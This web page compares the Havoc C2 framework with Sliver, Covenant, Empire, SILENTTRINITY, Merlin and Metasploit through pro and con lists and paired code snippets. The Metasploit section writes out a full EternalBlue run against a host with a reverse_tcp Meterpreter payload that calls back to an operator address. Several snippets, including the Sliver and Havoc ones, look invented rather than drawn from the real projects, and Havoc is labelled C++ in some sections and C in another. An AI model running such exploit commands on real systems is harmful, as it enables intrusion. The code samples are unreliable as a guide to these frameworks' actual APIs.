Pros of Sliver

• Cross-platform support (Windows, macOS, Linux)
• Built-in support for multiple C2 protocols (DNS, HTTP, MTLS)
• Extensive documentation and active community support

Cons of Sliver

• Steeper learning curve for beginners
• Less intuitive GUI compared to Havoc
• Limited built-in post-exploitation modules

Code Comparison

Sliver (Go):

implant, err := sliver.NewImplant(
    sliver.WithC2(c2),
    sliver.WithOS(runtime.GOOS),
    sliver.WithArch(runtime.GOARCH),
)

Havoc (C++):

auto implant = std::make_unique<Havoc::Implant>();
implant->SetC2(c2);
implant->SetOS(Havoc::OS::Windows);
implant->SetArch(Havoc::Arch::x64);

Both frameworks offer powerful features for red team operations, but they cater to different preferences. Sliver provides a more flexible, cross-platform approach with multiple C2 protocols, making it suitable for diverse environments. However, it may require more time to master.

Havoc, on the other hand, offers a more user-friendly interface and focuses primarily on Windows environments. It may be easier for beginners to get started with, but it lacks some of the cross-platform capabilities that Sliver provides.

The code comparison shows that both frameworks use similar concepts for creating implants, but Sliver leverages Go's simplicity, while Havoc utilizes C++'s object-oriented features.

Pros of Covenant

• Built on .NET Core, offering cross-platform compatibility
• Extensive GUI for easier management and visualization
• Robust task management system with built-in task types

Cons of Covenant

• Less frequent updates compared to Havoc
• Potentially higher resource usage due to .NET Core framework
• More complex setup process for some environments

Code Comparison

Covenant (C#):

public class Grunt : IMessenger
{
    public string Name { get; set; }
    public GruntStatus Status { get; set; }
    public List<TaskResult> TaskResults { get; set; }
}

Havoc (C):

typedef struct _AGENT_CTX
{
    BUFFER Send;
    BUFFER Config;
    BUFFER Receive;
    LPVOID Parameter;
} AGENT_CTX, *PAGENT_CTX;

Both frameworks use structured data types to manage agent information, but Covenant's object-oriented approach contrasts with Havoc's C-style structs. Covenant's code is more verbose and type-safe, while Havoc's is more lightweight and closer to the system level.

Havoc focuses on performance and low-level control, making it potentially more suitable for advanced users and specific scenarios. Covenant's higher-level abstractions and GUI may be more accessible for less experienced operators or those preferring visual interfaces.

Pros of Empire

• More mature and established project with a larger user base
• Extensive documentation and community support
• Wider range of modules and plugins available

Cons of Empire

• Less active development compared to Havoc
• Older codebase may have more legacy code and technical debt
• Potentially slower performance due to its Python-based architecture

Code Comparison

Empire (Python):

def get_agent_name():
    return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))

Havoc (C++):

std::string GetAgentName() {
    const std::string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    return GenerateRandomString(chars, 8);
}

Summary

Empire is a well-established post-exploitation framework with a large community and extensive features. However, it may suffer from slower development and performance issues. Havoc, being newer and written in C++, potentially offers better performance and more active development but may lack the maturity and extensive module library of Empire. The choice between the two depends on specific requirements and preferences for stability versus cutting-edge features.

Pros of SILENTTRINITY

• Written in Python, making it more accessible for scripting and customization
• Supports a wider range of payload types, including Python and .NET
• Utilizes IronPython for cross-platform compatibility

Cons of SILENTTRINITY

• Less actively maintained, with fewer recent updates
• Smaller community and less extensive documentation
• Limited built-in modules compared to Havoc's extensive feature set

Code Comparison

SILENTTRINITY (Python):

class STModule(STShell):
    def __init__(self):
        self.name = 'example'
        self.description = 'Example module'
        self.author = '@byt3bl33d3r'
        self.options = {}

Havoc (C++):

class ExampleModule : public Module
{
public:
    ExampleModule() : Module("Example", "Description", "Author") {}
    void Execute() override {
        // Module logic here
    }
};

Both frameworks use a modular approach, but Havoc's C++ implementation may offer better performance for certain operations. SILENTTRINITY's Python-based structure allows for easier scripting and rapid development, while Havoc's C++ foundation provides more low-level control and potentially faster execution.

Pros of Merlin

• Written in Go, offering cross-platform compatibility and easy deployment
• Supports multiple protocols (HTTP/1.1, HTTP/2, HTTPS) for C2 communications
• Implements OPAQUE protocol for secure agent authentication

Cons of Merlin

• Less extensive feature set compared to Havoc
• Smaller community and fewer contributors
• Limited GUI options, primarily relies on CLI

Code Comparison

Merlin (Agent initialization):

func New(protocol string, url string, psk []byte) (Agent, error) {
    a := Agent{
        ID:      uuid.NewV4(),
        Platform: runtime.GOOS,
        Architecture: runtime.GOARCH,
        Pid:     os.Getpid(),
        Version: merlin.Version,
    }
    // ... (additional initialization)
}

Havoc (Agent configuration):

class AgentConfig
{
public:
    std::string AgentID;
    std::string Hostname;
    std::string Username;
    std::string ProcessName;
    std::string ProcessPath;
    // ... (additional configuration options)
};

Both projects focus on creating flexible and powerful post-exploitation frameworks. Merlin emphasizes cross-platform compatibility and secure communications, while Havoc offers a more comprehensive feature set and graphical interface. The code snippets demonstrate different approaches to agent initialization and configuration, reflecting the languages and design philosophies of each project.

Pros of Metasploit-Framework

• Extensive library of exploits and modules
• Large, active community contributing to development and support
• Well-documented and widely used in the cybersecurity industry

Cons of Metasploit-Framework

• Can be resource-intensive and slower to execute
• More complex to use for beginners
• Detectable by many antivirus solutions due to its popularity

Code Comparison

Metasploit-Framework (Ruby):

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

Havoc (C++):

Havoc::Session* session = Havoc::CreateSession("192.168.1.100", 4444);
Havoc::Module* module = session->LoadModule("eternalblue");
module->SetOption("RHOST", "192.168.1.100");
module->Execute();

While both frameworks aim to provide penetration testing capabilities, Metasploit-Framework offers a more comprehensive set of tools and a larger community. However, Havoc focuses on being a lighter, more modern alternative with potentially better evasion capabilities. The code examples demonstrate the different approaches to executing exploits, with Metasploit using a more script-like syntax and Havoc utilizing object-oriented programming concepts.